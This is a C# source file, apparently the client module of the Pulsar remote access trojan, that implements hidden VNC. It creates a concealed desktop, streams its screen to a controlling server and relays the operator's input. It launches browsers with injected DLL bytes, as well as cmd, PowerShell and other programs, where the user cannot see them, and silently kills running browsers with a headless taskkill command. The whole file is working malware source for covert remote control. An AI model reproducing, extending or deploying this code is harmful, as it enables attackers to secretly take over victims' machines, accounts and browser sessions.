using System; using System.Collections.Concurrent; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Threading; using System.Threading.Tasks; using Pulsar.Client.Helper; using Pulsar.Client.Helper.HVNC; using Pulsar.Common.Enums; using Pulsar.Common.Messages; using Pulsar.Common.Messages.Monitoring.HVNC; using Pulsar.Common.Messages.Other; using Pulsar.Common.Networking; using Pulsar.Common.Video; using Pulsar.Common.Video.Codecs; namespace Pulsar.Client.Messages { public class HVNCHandler : IMessageProcessor, IDisposable { private UnsafeStreamCodec _streamCodec; private BitmapData _desktopData = null; private Bitmap _desktop = null; private ISender _clientMain; private Thread _captureThread; private CancellationTokenSource _cancellationTokenSource; private readonly ImageHandler ImageHandler = new ImageHandler("PulsarDesktop"); private readonly InputHandler InputHandler = new InputHandler("PulsarDesktop"); private readonly ProcessController ProcessHandler = new ProcessController("PulsarDesktop"); // frame control variables private readonly ConcurrentQueue _frameBuffer = new ConcurrentQueue(); private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false); private int _pendingFrameRequests = 0; //fps counting private int _framesSent = 0; private float _currentFps = 0f; // max buffer size to prevent memory issues private const int MAX_BUFFER_SIZE = 10; private readonly Stopwatch _stopwatch = new Stopwatch(); public bool CanExecute(IMessage message) { return message is GetHVNCDesktop || message is DoHVNCInput || message is StartHVNCProcess || message is GetHVNCMonitors; } public bool CanExecuteFrom(ISender sender) { return true; } public void Execute(ISender sender, IMessage message) { switch (message) { case GetHVNCDesktop getDesktop: Execute(sender, getDesktop); break; case DoHVNCInput doInput: InputHandler.Input(doInput.msg, (IntPtr)doInput.wParam, (IntPtr)doInput.lParam); break; case StartHVNCProcess startHVNCProcess: _ = ExecuteAsync(sender, startHVNCProcess); break; case GetHVNCMonitors _: Execute(sender); break; } } private void Execute(ISender client, GetHVNCDesktop message) { if (message.Status == RemoteDesktopStatus.Stop) { StopScreenStreaming(); } else if (message.Status == RemoteDesktopStatus.Start) { StartScreenStreaming(client, message); } else if (message.Status == RemoteDesktopStatus.Continue) { Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested); _frameRequestEvent.Set(); } } private void StartScreenStreaming(ISender client, GetHVNCDesktop message) { var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex); var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; if (_streamCodec == null) _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); if (message.CreateNew) { _streamCodec?.Dispose(); _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); } if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) { _streamCodec?.Dispose(); _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); } _clientMain = client; ClearFrameBuffer(); Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested); if (_captureThread == null || !_captureThread.IsAlive) { _cancellationTokenSource = new CancellationTokenSource(); _captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token, message.DisplayIndex)) { IsBackground = true, Name = "HVNC Capture Loop" }; _captureThread.Start(); } } private void StopScreenStreaming() { _cancellationTokenSource?.Cancel(); if (_captureThread != null && _captureThread.IsAlive) { _frameRequestEvent.Set(); _captureThread.Join(); _captureThread = null; } if (_desktop != null) { if (_desktopData != null) { try { _desktop.UnlockBits(_desktopData); } catch { } _desktopData = null; } _desktop.Dispose(); _desktop = null; } if (_streamCodec != null) { _streamCodec.Dispose(); _streamCodec = null; } ClearFrameBuffer(); Interlocked.Exchange(ref _pendingFrameRequests, 0); } private void BufferedCaptureLoop(CancellationToken cancellationToken, int displayIndex) { _stopwatch.Start(); while (!cancellationToken.IsCancellationRequested) { try { if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0) { _frameRequestEvent.WaitOne(500); if (cancellationToken.IsCancellationRequested) break; continue; } byte[] frameData = CaptureFrame(displayIndex); if (frameData != null) { _frameBuffer.Enqueue(frameData); _framesSent++; if (_stopwatch.ElapsedMilliseconds >= 1000) { _currentFps = _framesSent / (_stopwatch.ElapsedMilliseconds / 1000f); _framesSent = 0; _stopwatch.Restart(); } } while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend)) { SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0); } } catch (Exception) { Thread.Sleep(100); } } } private byte[] CaptureFrame(int displayIndex) { try { _desktop = ImageHandler.Screenshot(displayIndex); if (_desktop == null) { return null; } const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb; Bitmap processedBitmap = _desktop; if (_desktop.PixelFormat != codecPixelFormat) { try { processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat); using (Graphics g = Graphics.FromImage(processedBitmap)) { g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height); } _desktop.Dispose(); _desktop = processedBitmap; } catch (Exception ex) { Debug.WriteLine($"Error converting pixel format: {ex.Message}"); // Continue with original bitmap if conversion fails processedBitmap = _desktop; } } _desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), ImageLockMode.ReadWrite, processedBitmap.PixelFormat); using (MemoryStream stream = new MemoryStream()) { if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); _streamCodec.CodeImage(_desktopData.Scan0, new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), new Size(processedBitmap.Width, processedBitmap.Height), processedBitmap.PixelFormat, stream); return stream.ToArray(); } } catch (Exception) { return null; } finally { if (_desktopData != null) { _desktop.UnlockBits(_desktopData); _desktopData = null; } _desktop?.Dispose(); _desktop = null; } } private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame) { if (frameData == null || _clientMain == null) return; try { _clientMain.Send(new GetHVNCDesktopResponse { Image = frameData, Quality = _streamCodec.ImageQuality, Monitor = _streamCodec.Monitor, Resolution = _streamCodec.Resolution, Timestamp = DateTimeOffset.UtcNow.ToUnixTimeMilliseconds(), IsLastRequestedFrame = isLastRequestedFrame, Fps = _currentFps }); } catch (Exception) { } } private void ClearFrameBuffer() { while (_frameBuffer.TryDequeue(out _)) { } } private async Task ExecuteAsync(ISender client, StartHVNCProcess message) { try { string name = message.Path; bool dontCloneProfile = message.DontCloneProfile; byte[] dllBytes = message.DllBytes; var browserPaths = new Dictionary { { "Chrome", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Google\\Chrome\\Application\\chrome.exe" }, { "Edge", Environment.GetEnvironmentVariable("PROGRAMFILES(X86)") + "\\Microsoft\\Edge\\Application\\msedge.exe" }, { "Brave", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" }, { "Opera", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera\\opera.exe" }, { "OperaGX", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera GX\\opera.exe" }, { "Mozilla", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\firefox.exe" } }; if (dontCloneProfile && browserPaths.TryGetValue(name, out string executablePath) && File.Exists(executablePath)) { string browserProcess = name.ToLower().Replace("mozilla", "firefox").Replace("edge", "msedge").Replace("operagx", "opera"); string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {browserProcess}.exe /F"; Debug.WriteLine(killCommand); ProcessHandler.CreateProc(killCommand); await Task.Delay(1000).ConfigureAwait(false); Debug.WriteLine($"Direct starting browser: {executablePath}"); ProcessHandler.CreateProc(executablePath); return; } switch (name) { case "GenericChromium": await ProcessHandler.StartGenericChromiumAsync( dllBytes, message.CustomBrowserPath, message.CustomSearchPattern, message.CustomReplacementPath ).ConfigureAwait(false); break; case "Chrome": await ProcessHandler.StartChromeAsync(dllBytes).ConfigureAwait(false); break; case "Edge": await ProcessHandler.StartEdgeAsync(dllBytes).ConfigureAwait(false); break; case "Brave": await ProcessHandler.StartBraveAsync(dllBytes).ConfigureAwait(false); break; case "Opera": await ProcessHandler.StartOperaAsync(dllBytes).ConfigureAwait(false); break; case "OperaGX": await ProcessHandler.StartOperaGXAsync(dllBytes).ConfigureAwait(false); break; case "Explorer": ProcessHandler.StartExplorer(); break; case "Cmd": ProcessHandler.StartCmd(); break; case "Powershell": ProcessHandler.StartPowershell(); break; case "Mozilla": await ProcessHandler.StartFirefoxAsync().ConfigureAwait(false); break; case "Discord": ProcessHandler.StartDiscord(); break; default: ProcessHandler.StartGeneric(name); break; } } catch (Exception ex) { Debug.WriteLine($"HVNC process start failed: {ex.Message}"); } } private void Execute(ISender client) { int monitorCount = ImageHandler.GetMonitorCount(); Debug.WriteLine($"HVNC: Sending monitor count: {monitorCount}"); client.Send(new GetHVNCMonitorsResponse { Number = monitorCount }); } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { Debug.WriteLine("HVNC Handler Disposed"); StopScreenStreaming(); ImageHandler.Dispose(); InputHandler.Dispose(); _streamCodec?.Dispose(); _cancellationTokenSource?.Dispose(); _frameRequestEvent?.Dispose(); } } } }